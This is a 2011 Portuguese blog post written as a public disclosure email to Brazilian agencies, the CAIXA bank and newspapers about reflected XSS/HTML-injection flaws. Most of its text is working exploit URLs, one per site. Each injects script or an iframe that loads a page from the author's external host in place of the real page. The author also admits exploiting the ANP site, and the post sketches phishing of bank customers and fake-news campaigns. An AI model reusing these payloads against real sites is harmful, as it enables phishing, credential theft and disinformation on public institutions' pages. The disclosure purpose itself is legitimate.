Segurança Nacional

De: “Marcelo Jorge Vieira” <metal@mundobugado.org>
Para: “ANP Imprensa” <imprensa@anp.gov.br>, “CAIXA – Imprensa” <imprensa@caixa.gov.br>, “Jorge Fontes Hereda” <presidencia@caixa.gov.br>, “Joaquim Lima de Oliveira” <vitec@caixa.gov.br>, “CEB – Comunicação Social” <prcoe@ceb.com.br>, “Conselho de Consumidores da CEB” <conselho.ceb@ceb.com.br>, “Glaucius Oliva” <presidencia@cnpq.br>, “CNPq Ascom” <comunicacao@cnpq.br>, “Olímpio Cruz” <olimpio.cruz@agricultura.gov.br>, “MMA Ascom” <imprensa@agricultura.gov.br>, “Maria Lucia Muniz” <mlmuniz@mct.gov.br>, “MCT Ascom” <ascomt@mct.gov.br>, “Maristela Rangel Pinto” <cgm@cultura.gov.br>, “Nanan Catalão” <nanan.catalao@cultura.gov.br>, “Denise Mantovani” <denise.mantovani@mda.gov.br>, “MDA Ascom” <comunicacao.social@mda.gov.br>, “Nunzio Briguglio Filho” <nunzio@mec.gov.br>, “MEC Ascom” <imprensa@mec.gov.br>, “Ramiro Alves” <ramiro.alves@fazenda.gov.br>, “MF Ascom” <acs@fazenda.gov.br>, “Gerusa Barbosa” <gerusa.barbosa@mma.gov.br>, “MMA Ascom” <ascom@mma.gov.br>, “Antônio Carlos” <aclima@mme.gov.br> ,”MME Ascom” <ascom@mme.gov.br>, “Vanice Cioccari” <vanice.cioccari@mj.gov.br>, “MJ Ascom” <acs@mj.gov.br>, “PBH Ascom” <ascom@planejamento.mg.gov.br>, “Walter Carlos Auad Sotomayor” <walter.sotomayor@turismo.gov.br>, “Turismo Ascom” <imprensa@turismo.gov.br>, “Selvino Heck” <mobsocial@planalto.gov.br>, “Casa Civil da Presidência da República” <mprensaccivil@presidencia.gov.br>, “Benjamin Zymler” <min-bz@tcu.gov.br>, “Augusto Nardes” <min-an@tcu.gov.br>, “Estadão – Fale com” <falecom.estado@grupoestado.com.br>, “Estadão – Portal” <portal@grupoestado.com.br>, “Nelson Nunes” <nnunes@diariosp.com.br>, “Carlos Alencar” <carlos.alencar@diariosp.com.br>, “Ulisses Oliveira” <ulisses.oliveira@diariosp.com.br>, “Teodomiro Braga” <teodomiro@otempo.com.br>, “Fábio A. Santos” <tecnologia@otempo.com.br>, “Luiz Fernando Rocha” <luizrocha@otempo.com.br>, “Mylena Fiori” <mfiori@cartamaior.com.br>, “Carta Maior – Redação” <redacao@cartamaior.com.br>, “Terra – Abuse” <abuse@terra.com.br>, “Terra – Editorial” <editorial@terra.com.br>, “Roberto Borges Martins” <presidencia@redeminas.mg.gov.br>, “Hugo Teixeira” <hugoteixeira@redeminas.mg.gov.br>, “Franco Brostel Nunes Leal” <franco@redeminas.mg.gov.br>, “Luiz Silvério Pereira Meireles” <ditec@redeminas.mg.gov.br>, “Rodolfo Fernandes” <rodolfo@oglobo.com.br>, “Maria Fernanda Delmas” <fernanda.delmas@oglobo.com.br>, “Ascânio Seleme” <ascanio@oglobo.com.br>, “Folha Emergência” <folhaemergencia@uol.com.br>, “Folha Poder” <politica@uol.com.br>, “Ministério da Defesa” <imprensa@defesa.gov.br>, “Ministério da Defesa – Ascom” <ascom@defesa.gov.br>,

Olá,

No início do mês de Abril, eu descobri uma falha no site da ANP (Agência Nacional do Petróleo), que eu explorei para mudar a visualização do site, inserindo um formulário, um abaixo-assinado, onde um visitante poderia assinar seu nome como uma forma de protesto aos altos preços dos combustíveis.

Essa falha (primária) não altera o conteúdo do site, apenas muda a visualização e só funciona, se o usuário clicar em um link “batizado” com parâmetros específicos, como, por exemplo, o link abaixo usado para inserir o formulário no site da ANP: http://www.anp.gov.br/?q=<iframe src=’http://mundobugado.org/anp’> (o link não funciona mais, o pessoal da ANP já consertou a falha nesse ponto).

No meu blog, tem um relato explicando melhor o caso da ANP e o Mundo Bugado.

Como sou curioso, quis saber se outros sites também apresentavam a mesma falha. Minha mãe sempre diz: Quem procura, acha! E é claro que eu achei e não foram poucos.

.gov.br:

• ANP (Agência Nacional do Petróleo, Gás Natural e Biocombustíveis)
• Brazilian Tourism Portal (Ministério do Turismo)
• CAIXA (O banco que acredita nas pessoas)
• CEB (Companhia Energética de Brasília)
• Domínio Público (Ministério da Educação)
• Embratur (Ministério do Turismo)
• MF (Ministério da Fazenda)
• MINC (Ministério da Cultura
• MMA (Ministério do Meio Ambiente)
• MME (Ministério de Minas e Energia)
• MDA (Ministério do Desenvolvimento Agrário)
• MCT (Ministério da Ciência e Tecnologia)
• Portal da Transparência (Presidência)
• Plataforma Lattes (CNPq)
• SINDEC (Sistema Nacional de Informações de Defesa do Consumidor)
• TCU (Tribunal de Contas da União)

Jornal/TV:

• Estadão
• Carta Maior
• O TEMPO
• Diário de São Paulo
• Terra
• Rede Minas

O que eu quero com esse email?! Reportar essa falha, porque ela poderia ser explorada de várias maneiras:

• Uma pessoa mal intencionada poderia substituir a página inicial da CAIXA para “roubar” as contas de alguns clientes.
• Usar o site do Ministério da Cultura para falar mal da Ministra, uma vez que surgiram vários temas relacionados à ela nos últimos dias.
• Fazer mais uma campanha sobre os altos preços dos combustíveis no site da ANP.
• Usar o site do Ministério da Fazenda para falar que não é mais preciso declarar Imposto Renda.
• Publicar todas as falsas notícias no ESTADÃO, no Diário de São Paulo, no O Tempo, no Terra, na Carta Maior e na Rede Minas.

Com essa coleção de sites, é bem fácil criar uma rede de intrigas, verdades ou mentiras, como, por exemplo, “O brasil desistiu de sediar a copa”, “O brasil vai vender a Amazônia”, etc.

Por todos os motivos citados acima, essa falha é uma questão de Segurança Nacional.

Estou enviando e publicando esse email, porque não acredito no contato privado com suas instituições. A ANP demonstrou muito bem esse ponto ao não assumir a falha no site e no sistema de preços, e ainda fazer um comunicado sobre um endereço falso circulando na Internet e ao mesmo tempo retirar o sistema de consulta dos preços do ar.

Segue os links com as páginas alteradas, para confirmar

.gov.br:

* ANP (Agência Nacional do Petróleo, Gás Natural e Biocombustíveis) (Fixed! Corrigido!)

http://www.anp.gov.br/SITE/acao/estaaqui/?s1=<script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src="http://metal.mundobugado.org/anp/" width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>

* Brazilian Tourism Portal (Ministério do Turismo)

http://www.braziltour.com/busca.html?search=%22%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http://metal.mundobugado.org/braziltour/%22%20width=%221260%22%20height=%222100%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220</code>%22%20scrolling=%22no%22%3E%3C/body%3E%27%29}%3C/script%3E

* CAIXA (O banco que acredita nas pessoas)

http://www1.caixa.gov.br/busca/resultados.asp?q2=1&q1=%27%29;}%29;%3C/script%3E%3Ciframe%20src=%22http://metal.mundobugado.org/caixa/%22%20width=%221260%22%20height=%222100%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C!--

* CEB (Companhia Energética de Brasília)

http://www.ceb.com.br/Ceb/aplicacoes/index.cfm?fuseaction=busca.realizarbusca&pesquisa=%3Ciframe%20src=%22http://metal.mundobugado.org/ceb/%22%20width=%221260%22%20height=%222500%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E

* Domínio Público (Ministério da Educação) (Fixed! Corrigido!)

http://www.dominiopublico.gov.br/pesquisa/PesquisaAutorResultadoForm.do?letra=%3Cscript%3Ewindow.onload=function%28%29{document.write%28%22%3Cbody%20style=\%22margin:%200px%200px\%22%3E%3Ciframe%20src=\%22http://metal.mundobugado.org/dominiopublico/\%22%20width=\%221260\%22%20height=\%222100\%22%20frameborder=\%220\%22%20marginheight=\%220\%22%20marginwidth=\%220\%22%20scrolling=\%22no\%22%3E%3C/body%3E%22%29}%3C/script%3E

* Embratur (Ministério do Turismo)

http://www.embratur.gov.br/site/br/busca/busca.php?palavra=','')"><script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src="http://metal.mundobugado.org/embratur/" width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>

* MF (Ministério da Fazenda) (Fixed! Corrigido!)

http://www.fazenda.gov.br/busca.asp?pesquisa=%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http://metal.mundobugado.org/fazenda/%22%20width=%221260%22%20height=%222100%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C/body%3E%27%29}%3C/script%3E%3C!--

* MINC (Ministério da Cultura)

http://fale.cultura.gov.br/sisouvidor/login/formularioLogin.jsp?UsuarioInvalido=<script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src="http://metal.mundobugado.org/minc/" width="1260" height="9100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>

* MMA (Ministério do Meio Ambiente)

http://www.mma.gov.br/sitio/index.php?ido=conteudo.pesquisa&busca=%22%3C/h2%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%22%3Cbody%20style=\%22margin:%200px%200px\%22%3E%3Ciframe%20src=\%22http://metal.mundobugado.org/mma/\%22%20width=\%221260\%22%20height=\%222100\%22%20frameborder=\%220\%22%20marginheight=\%220\%22%20marginwidth=\%220\%22%20scrolling=\%22no\%22%3E%3C/body%3E%22%29}%3C/script%3E

* MME (Ministério de Minas e Energia)

http://www.mme.gov.br/mme/buscaresult.html?field=content&index=indice_mme&query=%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http://metal.mundobugado.org/mme/%22%20width=%221260%22%20height=%223500%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C/body%3E%27%29}%3C/script%3E

* MDA (Ministério do Desenvolvimento Agrário)

http://mda.gov.br/sistemas/sistemasmda/index.php?msg=%3Cscript%3E$%28function%28%29{%20$%28%22body%22%29.empty%28%29.append%28%22%3Cbody%20style=%27margin:%200px%200px%27%3E%3Ciframe%20src=%27http://metal.mundobugado.org/mda/%27%20width=%271260%27%20height=%273200%27%20frameborder=%270%27%20marginheight=%270%27%20marginwidth=%270%27%20scrolling=%27no%27%3E%3C/body%3E%22%29%20}%29

* MCT (Ministério da Ciência e Tecnologia)

http://www.mct.gov.br/index.php?action=/html/objects/search_result&searchquery=%3C/td%3E%3C/tr%3E%3C/table%3E%3Cscript%3Ewindow.onload%20=%20function%28%29%20{%20document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http://metal.mundobugado.org/mct/%22%20width=%221260%22%20height=%222100%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C/body%3E%27%29%20}%3C/script%3E%3C!--

* Portal da Transparência (Presidência)

http://www.portaltransparencia.gov.br/despesasdiarias/resultado?consulta=rapida&periodoInicio="><script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src="http://metal.mundobugado.org/portaltransparencia/" width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>

* Plataforma Lattes (CNPq)

http://buscatextual.cnpq.br/buscatextual/busca.do?metodo=buscar&textoBusca=%3Cscript%3Ewindow.onload=function%28%29{document.write%28%22%3Cbody%20style=\%22margin:%200px%200px\%22%3E%3Ciframe%20src=\%22http://metal.mundobugado.org/cnpq\%22%20%20width=\%221260\%22%20height=\%222100\%22%20frameborder=\%220\%22%20marginheight=\%220\%22%20marginwidth=\%220\%22%20scrolling=\%22no\%22%3E%3C/body%3E%22%29}%3C/script%3E

* SINDEC (Sistema Nacional de Informações de Defesa do Consumidor) (Fixed! Corrigido!)

https://sindecbh.pbh.gov.br:444/sindecconsulta/?msg=%3C/td%3E%3C/tr%3E%3C/table%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http://metal.mundobugado.org/sindec/%22%20width=%221260%22%20height=%222100%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C/body%3E%27%29}%3C/script%3E%3C!--

* TCU (Tribunal de Contas da União)

https://login.tcu.gov.br/sso/jsp/login.jsp?site2pstoretoken=&p_submit_url=&p_cancel_url=&locale=%22%3E%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http:%2F%2Fmetal.mundobugado.org%2Ftcu%22%20width=%221260%22%20height=%226000%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C%2Fbody%3E

Jornal/TV:

* Estadão (Fixed! Corrigido!)

http://www.estadao.com.br/busca/%3C%2Ftitle%3E%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http:%2F%2Fmetal.mundobugado.org%2Festadao%22%20width=%221260%22%20height=%226000%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C%2Fbody%3E

* Carta Maior

http://cartamaior.com.br/templates/buscaExecutar.cfm?busca=%3C/title%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http://metal.mundobugado.org/cartamaior/%22%20width=%221260%22%20height=%225100%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C/body%3E%27%29}%3C/script%3E%3C!--

* O TEMPO

http://www.otempo.com.br/videos/lista/?busca=%22%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http://metal.mundobugado.org/otempo/%22%20width=%221260%22%20height=%222100%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C/body%3E%27%29}%3C/script%3E

* Diário de São Paulo

http://www.diariosp.com.br/?id=%2Fbusca.php&ds_busca=<script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src="http://metal.mundobugado.org/diariosp/" width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>

* Terra (Fixed! Corrigido!)

http://buscador.terra.com.br/Default.aspx?source=Search&ca=s&query=%3C/title%3E%3Ciframe%20src=%22http://is.gd/lCgKDa%22%20width=1260%20height=2100%20frameborder=0%20scrolling=%22no%22%3E%3C!--

* Rede Minas

http://www.redeminas.mg.gov.br/search/node/%22%3E%3C/a%3E%3Cscript%3Ewindow.onload=function%28%29%7Bdocument.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%22http%3A/%252Fmetal.mundobugado.org/redeminas/%22%20width=%221260%22%20height=%225100%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C/body%3E%27%29%7D%3C/script%3E

O que é HTML Injection ou XSS (Cross-site scripting)?

HTML Injection é um tipo de vulnerabilidade encontrada normalmente em sistemas Web e é explorada com a inserção de código HTML/JavaScript nos parâmetros de um formulário, por exemplo. Não faz nenhuma mudança nos arquivos do servidor, apenas muda a visualização dos dados para o usuário.

O que é HTML?

“HTML (acrônimo para a expressão inglesa HyperText Markup Language, que significa Linguagem de Marcação de Hipertexto) é uma linguagem de marcação utilizada para produzir páginas na Web” — Wikipédia

O que é JavaScript?

JavaScript é uma linguagem de programação muito utilizada para produzir páginas na Web.

Como resolver?

Remover todas as tags HTML de todos os parâmetros. Para cada linguagem utilizada para produzir o site, existe uma forma de remover as tags: ASP, PHP, Python, Java.

——-

UPDATE 17/05/2011 – 20h34
ANP, Dominio Público e Terra corrigiram as "brechas".

UPDATE 18/05/2011 – 00h07
ESTADÃO corrigiu a "brecha".

UPDATE 18/05/2011 – 11h12
Caro Marcelo,
A falha mencionada foi corrigida, agradecemos a notificação.
Atenciosamente,

Lucas Betti Domingues
Equipe de Segurança Terra – Depto. de Abuse
abuse@terra.com.br
SAN – Servico de Atendimento Nacional
Fax: (51) 3287-9087

UPDATE 19/05/2011 – 11h33
SINDEC corrigiu a "brecha".

UPDATE 23/05/2011 – 23h32
A CAIXA corrigiu a brecha pela metade, mas já foi um avanço. Vocês podem testar aqui e aqui para comprovar que ainda existe a falha.

UPDATE 07/06/2011 – 17h08
O MF (Ministério da Fazenda) corrigiu a brecha. De um jeito tosco, mas corrigiu... agora eles retiram da busca os caracteres "<" e ">"